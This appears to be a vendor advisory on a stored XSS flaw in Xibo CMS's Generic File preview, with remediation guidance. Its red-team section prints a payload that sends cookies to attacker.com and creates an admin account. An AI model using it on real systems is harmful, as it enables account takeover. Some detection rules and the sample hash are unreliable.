CVE-2024-43412
Executive Summary
CVE-2024-43412 is a stored cross-site scripting (XSS) vulnerability in Xibo CMS, an open-source digital signage platform. An authenticated user with permissions to upload files to the Library can upload arbitrary HTML, CSS, or JavaScript files via the Generic File module. When these files are previewed from the Library or Layout editor, the embedded JavaScript executes in the context of the victim's browser. This allows an attacker to perform actions on behalf of the victim, such as modifying layouts, stealing session tokens, or defacing content. The vulnerability is rated with a CVSS score of 4.6 (Medium) and affects all versions prior to 4.1.0. The fix in version 4.1.0 disables the preview of generic files, and users are encouraged to use the new developer tools for widget design.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a direct vulnerability in the Xibo CMS application itself.
CVSS Breakdown & Threat Level
- CVSS Score: 4.6 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – The attacker needs a valid user account with upload permissions.
- User Interaction (UI): Required (R) – The victim must preview the malicious file.
- Scope (S): Changed (C) – The impact is on resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure.
- Integrity (I): Low (L) – Limited modification of data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the potential for account takeover and data manipulation makes it a significant concern for multi-user Xibo deployments.
Deep Dive & Mechanics
The vulnerability resides in the file preview functionality of Xibo CMS. The Generic File module allows users to upload HTML, CSS, and JavaScript files to the Library. This is intended for creating custom widgets or content. However, the preview function in the Library and Layout editor does not sanitize or isolate the uploaded content. When a user previews such a file, the browser renders the HTML and executes any embedded JavaScript.
Attack Flow:
- An attacker with a valid account and upload permissions creates a malicious HTML file containing JavaScript (e.g., to steal session cookies or perform actions on behalf of the victim).
- The attacker uploads this file to the Xibo Library via the Generic File module.
- The attacker then tricks a victim (e.g., another admin or content editor) into previewing the file from the Library or Layout editor.
- The victim's browser executes the malicious JavaScript, allowing the attacker to perform actions such as modifying layouts, creating new users, or exfiltrating data.
Root Cause: Lack of Content Security Policy (CSP) or sandboxing on the preview page for generic files. The application trusts user-uploaded content and renders it without restrictions.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-4.1.0): The preview endpoint directly serves the uploaded file without any sanitization or isolation. For example, in a PHP controller:
// Vulnerable: Directly serves the file content
public function preview($fileId) {
$file = $this->fileService->getById($fileId);
header('Content-Type: text/html');
echo file_get_contents($file->getPath());
exit;
}
Patched Code (4.1.0+): The preview functionality for generic files is disabled. The application now returns a placeholder or an error message instead of rendering the file.
// Patched: Preview disabled for generic files
public function preview($fileId) {
$file = $this->fileService->getById($fileId);
if ($file->getModule() === 'genericfile') {
throw new \Exception('Preview of generic files is disabled.');
}
// ... existing preview logic for other file types
}
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A valid Xibo CMS user account with permissions to upload files to the Library.
- Access to the Xibo CMS web interface.
Steps:
- Craft the Payload: Create a file named
exploit.htmlwith the following content:<html> <body> <script> // Example: Steal session cookie fetch('https://attacker.com/steal?cookie=' + document.cookie); // Example: Perform admin action (if victim is admin) fetch('/api/user/create', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({username: 'attacker', password: 'P@ssw0rd', role: 'admin'}) }); </script> </body> </html> - Upload the Payload:
- Log in to Xibo CMS.
- Navigate to the Library section.
- Click "Add Media" and select "Generic File".
- Upload
exploit.html.
- Trigger the Exploit:
- Send a link to the victim pointing to the preview URL of the uploaded file (e.g.,
https://xibo.example.com/library/preview/123). - Alternatively, if the victim is editing a Layout, they might preview the file from the Library panel.
- Send a link to the victim pointing to the preview URL of the uploaded file (e.g.,
Blue Team (Defender)
Detection:
- Monitor for unusual file uploads, especially HTML files with embedded JavaScript.
- Look for preview requests to the Library endpoint from unexpected IPs or user agents.
- Use the detection rules provided below.
Mitigation:
- Immediately upgrade to Xibo CMS 4.1.0 or later.
- If upgrade is not possible, restrict the Generic File module to trusted users only.
- Implement a Web Application Firewall (WAF) rule to block preview requests for generic files.
- Educate users about the risks of previewing untrusted files.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – actual hash depends on payload)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
- Network Indicators:
- Outbound connections to attacker-controlled domains from the Xibo server.
- Suspicious POST requests to
/api/user/createor similar endpoints.
- Log Entries:
- Multiple preview requests for files with
.htmlextension in the Library. - User agent strings not matching typical browser patterns.
- Multiple preview requests for files with
Detection Engineering
YARA Rule
rule CVE_2024_43412_XSS_GenericFile {
meta:
description = "Detects malicious HTML files uploaded to Xibo CMS for CVE-2024-43412"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-43412"
strings:
$script_tag = /<script[\s>]/ nocase
$onload = /onload\s*=/ nocase
$onerror = /onerror\s*=/ nocase
$fetch = /fetch\s*\(/ nocase
$xmlhttp = /XMLHttpRequest/i
condition:
(uint32(0) == 0x3C68746D or uint32(0) == 0x3C21444F) and
(1 of ($script_tag, $onload, $onerror) or 1 of ($fetch, $xmlhttp))
}
Sigma Rule
title: Xibo CMS Generic File XSS Preview (CVE-2024-43412)
id: 7a8b3c2d-1e5f-4a0b-9c8d-7e6f5a4b3c2d
status: experimental
description: Detects preview requests for generic files in Xibo CMS, indicating potential exploitation of CVE-2024-43412.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
c-uri|contains: '/library/preview/'
cs-user-agent|contains: 'Mozilla'
condition: selection
falsepositives:
- Legitimate preview of non-malicious generic files by authorized users.
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-43412 Xibo CMS Generic File XSS Preview"; flow:to_server,established; content:"GET"; http_method; content:"/library/preview/"; http_uri; pcre:"/<script[\s>]/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update Xibo CMS to version 4.1.0 or later. This is the only complete fix.
- Restrict Access: If upgrade is delayed, restrict the Generic File module to only trusted administrators.
- WAF Rule: Block requests to
/library/preview/for files with.html,.htm,.js, or.cssextensions.
Long-Term Measures:
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use a sandboxed iframe for previewing user-uploaded content.
- Conduct regular security audits of custom modules and upload functionality.
Valters IT Signature: This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further assistance, contact us at valters@example.com.